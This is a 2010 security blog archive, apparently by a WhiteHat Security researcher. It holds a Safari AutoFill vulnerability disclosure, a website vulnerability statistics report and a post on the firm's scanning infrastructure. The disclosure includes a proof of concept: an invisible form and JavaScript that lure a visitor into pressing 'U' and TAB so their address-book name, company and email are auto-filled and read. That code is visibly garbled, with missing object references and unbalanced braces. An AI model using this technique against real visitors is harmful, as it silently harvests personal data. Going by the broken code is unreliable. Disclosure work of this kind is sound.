Thursday, September 23, 2010

The Safari AutoFill hack LIVES!

Update: Live Demo available on (thanks @rsnake)

Remember the Apple Safari AutoFill vulnerability I disclosed at Black Hat USA a couple months ago? The hack where if a user visited a malicious website, even if they’ve never been there before or entered any personal information, they could have their name, address, work place, and email address exposed? The same issue where the disclosure process didn’t go all that well, but where Apple did manage to get a patch out the night before my presentation. Well, guess what!? It’s back! A little less automatic, but at the same time faster and more complete in the data exploitation. Before discussing the technical details some background is necessary.

On August 10, 2010 I emailed Apple product security explaining I thought their AutoFill patch (5.0.1) was incomplete. I also let them know of my plans to discuss the results of my research at this past AppSec USA conference. I received no immediate reply, auto-response or otherwise. So I decided to followup with another email a couple days later on Aug 13. Heard nothing back for a week. Then I get a phone call.

A gentlemen from Apple product security cordially introduces himself. We have a friendly and productive chat about what went wrong in the pre-BlackHat disclosure process and how it’ll be improved. We’re about to drop off the call when he asks that if I find any more issues to please email the product security address. That’s when it hit me! He didn’t know that I HAD recently disclosed another issue, the patch breaker, and no one replied. After cluing him in I forwarded over the email thread. The same evening I received a note from Apple apologizing for the lack of communication and stating that they are on top of it. Great.

We exchange a few ideas about potential solution. The challenge is without losing browser functionality that Apple would prefer keep implementing a solid fix is going to be difficult. Fortunately for security conscious users a patch isn’t necessarily required to protect themselves. Just disable the AutoFill feature, which is HIGHLY recommended! What Apple’s plan is to address the issue I have no idea. Anyway without receiving any objection I went ahead and demonstrated the problem to the AppSec audience. I took their pin-drop silence as a sign that they were impressed.

As before the AutoFill feature (Preferences > AutoFill > AutoFill web forms) is enabled by default in Safari v5. When form text fields have specific attribute names such as name, company, city, state, country, email, etc. AutoFill is activated when a user types the first character of the real value in the "Me" card. Like the first character of your first name, in my case “J.” These fields are AutoFill’ed using data from the users personal record in the local operating system address book. While actively in AutoFill mode a user may press TAB to have all other entries automatically filled out. That’s the functionality we’re going to take advantage of.

<* form>
Name: <* input name="name" id="name">
Company: <* input name="company" id="company">
City: <* input name="city">
State: <* input name="state">
Email: <* input name="email">
Phone: <* input name="phone">
Street: <* input name="street">
Country: <* input name="country" id="country">
Zip: <* input name="zip">
Query: <* input name="q">
Month: <* input name="month">

To perform our attack requires tiny bit of end-user trickery. Two button presses to be precise. A malicious website detects (ie: IP address) the country the victim is from. For our purposes here we'll assume the "US." The attacker invisibly (CSS transparency) sets up the aforementioned form and forces the keystroke focus into the country element. Notice how this is done in the video on the right side of the screen, which only visible for demonstration purposes. Next the attacker entices the victim to type "U" (first character of "US") and then press "TAB.” And BAM! That’s it! Data stolen.

My example uses a very contrived "to play the game" trickery, but this process can be achieved many other ways. The point is once these keys are pressed the victims personal information leaves the browser and they are none the wiser. To be clear, I picked the "country" field as the target, but really any of the "Me" card fields will do with the appropriate first character being pressed.


var pressU = "Pretend you are playing an online game, where the first thing you must do is press \"U\" to jump.

Go ahead, press \"U.\"";

var pressTAB = "Next, press TAB.

You know, to get more options.";

function startGame() {
var instructions = document.createElement('div'); = "instructions"; = "550px"; = "500px"; = "3px solid #CC9933"; = "#FFCC66";

instructions.innerHTML = pressU;

var input = document.getElementById('country');
input.addEventListener("keydown", function(e) {
if (instructions.innerHTML == pressU) {
if (e.keyCode == 85) {
instructions.innerHTML = pressTAB;
} else {
} else if (instructions.innerHTML == pressTAB) {
if (e.keyCode == 9) {
instructions.innerHTML = "Thank you for Playing! ;)


var data = document.getElementById('data');

setTimeout(function() {

for (var i = 0; i < data.elements.length; i++) { var n = data.elements[i].name; var v = data.elements[i].value; instructions.innerHTML += n + ": " + v + "

}, 200);

} else {

, false);


document.addEventListener("click", function(e) {input.focus();}, false);


Website Security Statistics Report (2010) - Industry Bechmarks

Full Report and Slides are available on my slideshare account. Enjoy!

"How are we doing?" That's the question on the mind of many executives and security practitioners whether they have recently implemented an application security program, or already have a well-established plan in place. The executives within those organizations want to know if the resources they have invested in source code reviews, threat modeling, developer training, security tools, etc. are making a measurable difference in reducing the risk of website compromise, which is by no means guaranteed. They want to know if their online business is truly more secure or less secure than industry peers. If above average, they may praise their team’s efforts and promote their continued success. On the other hand, if the organization is a security laggard, this is cause for concern and action.

Every organization needs to know where it stands, especially against its adversaries. Verizon Business' 2010 Data Breach Investigations Report (DBIR), a study conducted in cooperation with the United States Secret Service, provides insight. The report analyzes over 141 confirmed data breaches from 2009 which resulted in the compromise of 143 million records. To be clear, this data set is restricted to incidents of a "data" breach, which is different than those only resulting in financial loss. Either way, the data is overwhelming. The majority of breaches and almost all of the data stolen in 2009 (95%) were perpetrated by remote organized criminal groups hacking "servers and applications." That is, hacking Web Servers and Web applications — "websites" for short. The attack vector of choice was SQL Injection, typically a vulnerability that can’t readily be "patched," and used to install customized malware.

As the Verizon DBIR describes, the majority of breach victims are targets of opportunity, as opposed to targets of choice. Directly in the crosshairs are the Financial Services, Hospitality, and Retail industries. Victimized organizations are selected because their security posture is weaker than others and the data they possess can be converted into cash, namely payment card data and intellectual property. As such, organizations are strongly encouraged to determine if they are similar potential targets of opportunity in these industries, have a relatively weak or unknown security posture, and the data they hold is similarly attractive. This is a key point because perfect security may not be necessary to avoid becoming another Verizon DBIR statistical data point.

There are of course many published examples in Web security where the victim was a target of choice. Currently, Clickjacking attacks targeting social networks, more specifically Facebook, are rampant. In these attacks, visitors are being tricked into posting unwanted messages to friends and installing malware. There has also been a rise in targeted Cross-Site Scripting attacks, including a notable incident involving in which passwords were compromised. Content Spoofing attacks have been aimed at Wired to spoof a Steve Jobs health scare. Sears suffered a similar embarrassment when a fake product listing appeared on the company’s website. In an Insufficient Authorization incident involving Anthem Blue Cross Blue Shield, customers' personally identifiable information was exposed.

The bottom-line is no matter how mature the software development lifecycle there are always ways to break into and defraud computer systems. A goal of reducing the number of vulnerabilities to zero is an unrealistic, futile pursuit, perhaps impossible, and as we’ve learned likely unnecessary. And, organizations should increase the emphasis on improving responsiveness when vulnerabilities are eventually identified. The risk management question then becomes, "How secure is secure enough?" If the organization is a target of opportunity, perhaps a goal of being at or above average among your peers is good enough. If a target of choice, perhaps.

Until now no metrics have been published which organizations can use as a benchmark to compare themselves against their industry peers. These benchmarks may help answer the question, "How are we doing?" or "Are we secure enough?" WhiteHat Security’s 10th Website Security Statistics Report presents a statistical picture of the vulnerability assessment results from over 2,000 websites across 350 organizations under WhiteHat Sentinel management. For the first time, we’ve broken down the numbers by industry and size of organization. The data provides a unique perspective on the state of website security that may begin answering some of these pressing questions.

Key Findings
• The average website had nearly 13 serious vulnerabilities.
• Banking, Insurance, and Healthcare industries performed the best overall regarding the average number of serious vulnerabilities having 5, 6, and 8 respectively. The worst were the IT, Retail, and Education sectors with an average of 24, 17, and 17.
• Large organizations (over 2,500 employees) had the highest average number of serious vulnerabilities totaling 13, followed by medium (150 - 2,500 employees) at 12, and third was small (Up to 150 employees) at 11.
• Cross-Site Request Forgery moved up to 4th place as one of the most prevalent vulnerability classes. Also new on the list, in 10th place, is Brute Force affecting 10% of websites.
• The Banking industry removed SQL Injection as one of the most prevalent issues they face while all the other industries are still grappling with it. Similarly, Cross-Site Scripting within the Insurance industry has about half the overall likelihood of being exploited versus the others at 36%.
• Industries with a greater average number of serious vulnerabilities tend to have worse remediation rates.
• Small organizations fix the most of their serious vulnerabilities by percentage (62%), followed by medium (58%) and
large (54%).
• 64% of Banking and Telecommunications websites, the industries leading in remediation, have fixed more than 60% of their reported serious vulnerabilities. The laggards are Insurance and IT where only 26% and 33% respectively have fixed more than 60% of their outstanding serious issues.
• It does not appear organization size significantly impacts an Industry’s average number of serious vulnerabilities, the type or degree of specific vulnerability classes, or their time-to-fix metrics. However, remediation rate does seem to correlate. Typically the larger the organization the fewer vulnerabilities they resolve by percentage.
• With respect to the average number of serious vulnerabilities within large organizations, Social Networking, Banking, and Healthcare had the best marks with 4.38, 5.18, and 3.68 respectively. The three Worst were IT, Retail, Financial Services, with 29.55, 18.44, and 10.34
• Among large organizations, the Banking, Financial Services, Healthcare and Education industries turned in the best time-to-fix metrics with 2 weeks, 3 weeks, 4 weeks, and 4 weeks respectively. The worst were Telecommunications, Insurance, Retail and Social Networking with 26 weeks, 10 weeks, 8 weeks, and 8 weeks.
• Telecommunications, Retail, and Healthcare industries had the three best remediation rates of large organizations with 67%, 60% and 58% respectively. The three worst were IT, Banking and Insurance with 32%, 35%, and 35%.

Friday, September 03, 2010

Our infrastructure -- Assessing Over 2,000 websites

Recently I was asking a colleague how desktop black box web application vulnerability scanners, from a scalability perspective, approach scanning large numbers of websites (i.e. 100 to 500+) simultaneously. I was curious about the way they address the physical infrastructure requirements to support big enterprise deployments as compared to our own. Anyone with experience knows commercial desktop black box scanners can easily eat up several gigs of memory and disk space for even a single website. Nothing high-end workstations can’t handle, but multiplied out it’s an entirely different story. The person had an unexpected answer, “Desktop black box scanners don’t have the use-case you [WhiteHat] do, their technology doesn’t need to scale.” Say Whaaa!?!

Asking for clarification he said consider how black box scanners are normally used in the field. They are “developer” or “pen-test” tools where the use-case is one person, one machine, one website, one configured scan, and then let it run for however many hour or days it takes until completion. Attempting to perform dozens or hundreds of scans at the same time would be exceedingly rare, if ever, so the capability to do so doesn’t need to exist. He said, “Who beside you guys [WhiteHat] needs to scan that many websites at a time?” To which I humbly replied, “the customer.”

As we know new Web attack techniques are being published weekly and Web application code is change is rapidly (Agile). Web applications, even those that are old and unchanged, need to be tested often for these issues. Testing once a year, or even once a month, isn’t enough in an environment like the Web where daily attacks are normal. So if an enterprise has say 10 or more websites, to say nothing of those with hundreds or thousands, mass scanning is essential to get through them regularly. Burdening enterprises by having them wire scan nodes together with command and control systems to achieve scale is patently absurd. That's as an inefficient one-to-one model. 100 simultaneous scans = 100 scan boxes. Of course I’m sure they are happy to sell the hardware.

So yes I was a bit surprised that the desktop scanner guys haven’t seen fit to tackle the technology scaling problem, even though two of them are mega corps. They above all should know that scaling must be addressed if performing routine vulnerability assessments on all the Internet’s most important websites is to become a reality. To be fair, we’ve never pulled back the curtain to show off our own infrastructure. Maybe it’s time we did so because over the years we’ve invested heavily and it’s something we’re particularly proud of. I think others would be interested and impressed as well. The physical requirements for WhiteHat Sentinel, a SaaS-based website vulnerability management platform, are in a word -- massive.

Operationally we’re assessing over 2,000 websites on a fairly routine basis (~weekly). A dedicated IT staff is monitoring the systems for over 300 points of interest (utilization of network, cpu, memory, uptime, latency, etc.) ensuring everything is running smoothly 24x7. Metrics show at any moment 450 scans are running concurrently, generating about 300 million HTTP requests per month, and processing 90,000 potential vulnerabilities per day. We preserve a copy of every request sent and response received for audit, trending, tracking, and reporting purposes. This system itself is being access by over 350 different customers with tens of thousands of individual Sentinel users.

CPU and memory wise our ESX virtualization chassis allow us to control resource allocation and scale fast between multiple scanning instances and load balanced front-end & back-end Web servers. As you can see from the pictures we have some serious storage requirements. Our clustered storage arrays have 250TB ready to go (additional capacity at a moments notice), writing about 500GB to disk per day, and connected by dual 10GB backplane ethernet connections. Sick!

Oh, did I forgot to mention the two 100MB links to the Internet? Also very important is that the infrastructure is fully redundant. Pull any network cable, push any power button, and the system keeps on humming. I left out the pictures of the backside of the cages, which is every bit as cool as the front, but there’s a lot of network cords, firewalls, routers and other stuff we’d prefer to keep to ourselves. :) If someone else claims to have a SaaS scanning platform I’m wondering if it looks anything remotely like ours.

The data center where everything is housed is SAS70 Type II certified and state-of-the-art when it comes to power, fire protection, cabling, construction, cooling, and physical security. Guards are on site 24/7/365, active patrols both inside and outside the facility, with 54 closed circuit video cameras covering the interior and exterior of building. To get access to our area requires an appointment, government issued ID, thumbprint, retina scan and only then do they hand over the key to our private space where only two people at WhiteHat have access. I’m not one of them. :) Compare this to the scanner on laptop sitting somewhere unguarded in the enterprise. Clearly we’re not a desktop scanner behind a curtain like others out there. We’re not playing around. We take this stuff extremely seriously.